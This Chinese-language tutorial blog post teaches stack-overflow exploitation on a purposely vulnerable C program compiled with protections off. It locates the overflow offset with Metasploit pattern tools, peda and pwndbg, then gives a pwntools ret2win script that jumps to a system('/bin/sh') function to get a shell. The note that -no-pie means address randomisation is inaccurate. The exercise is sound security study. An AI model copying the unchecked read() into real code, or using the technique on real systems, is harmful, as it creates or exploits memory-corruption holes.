pwn學習----定位溢出點位置

0x00 準備工作

首先,用於溢出的C語言代碼爲:

#include <stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
        char str[0x20];
        read(0,str,0x50);
}
int main()
{
        func();
        return 0;
}

接下來對其進行編譯:

gcc -no-pie -fno-stack-protector -z execstack -m32 -o 3.exe 3.c

註釋:
-no-pie:地址隨機化
-fno-stack-protector:沒有堆棧保護
-z execstack:堆棧可執行

編譯完成以後,checksec 3.exe 查看它的保護機制:在這裏插入圖片描述

0x01如何判斷是否發生了溢出?

1.通過如下語句可以查看程序中使用到的函數,查看是否使用一些危險函數

objdump -t xxx

在這裏插入圖片描述
這句話列出了使用的所有函數,我們如果想查看是否使用某一個特定的函數,我們可以使用下面這句命令:

objdump -t .text 3.exe |grep read

在這裏插入圖片描述
2.查看程序中函數的彙編代碼

objdump -d xxx

在這裏插入圖片描述
由於採用了linux格式的彙編,看起來可能不是很習慣,我們可以採用下面這條命令把它換爲因特爾平臺下的格式:

objdump -d -M intel 3.exe

在這裏插入圖片描述
溢出的話,一般會調用system函數,我們可以通過查看是否存在這些函數的反彙編,來判斷,如下,找出了system函數的地址
在這裏插入圖片描述

0x02通過kali自帶的msf定位溢出點位置

使用gdb 3.exe,
使用peda,可以查看相關命令
在這裏插入圖片描述
使用start,開始編譯
然後disass exploit,進行彙編
另外打開一個命令行輸入

msf-pattern_create -l 100

在這裏插入圖片描述
得到了隨機的一個串,用來定位,返回到第一個命令行,接下來輸入r,然後運行之後,輸入剛剛得到的那個串,就可以發現程序中斷掉了,發生了溢出,此時我們看到溢出了,而且此時的eip爲0AB1
在這裏插入圖片描述
然後輸入

msf-pattern_offset -q 0Ab1

在這裏插入圖片描述
可以看到我們要填充32個字符,才能溢出成功!

0x02通過peda插件定位溢出點位置

輸入命令

pattern_create 100

生成一個隨機串,然後運行,並把這個隨機串放進去,發現程序還是中斷掉了,中斷的位置是A)AA

接下來,通過如下命令,可以定位出溢出的位置

pattern offset A)AA

在這裏插入圖片描述

0x03通過pwndbg插件定位溢出點位置

首先,我們可以通過如下命令對pwndbg和peda進行切換

nano /root/.gdbinit

切換好以後,gdb 3.exe 進行編譯,然後就可以看到切換到了pwndbg下,這是我們可以通過 pwn 來查看pwndbg的相關命令
在這裏插入圖片描述start之後,然後輸入如下命令

cyclic 100

生成一個隨機串,然後 r ,再把這個隨機串放進去執行,發現還是中斷了,中斷的位置是:iaaa
在這裏插入圖片描述
接下來輸入如下命令,就可以判斷出溢出位置

cyclic  -l iaaa

在這裏插入圖片描述

0x04 利用python程序定位到exploit函數:

python程序編輯如下:

from pwn import *
p=process('./3.exe')
offset = 32
payload ='a'*offset+p32(0x8049182)
p.sendline(payload)
p.interactive()

這裏的 0x8049182 是exploit函數的首地址,從這個位置開始執行就能成功 get shell

在這裏插入圖片描述

然後執行這個python文件,python 3.py

在這裏插入圖片描述

就可以成功溢出,然後獲得shell了!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章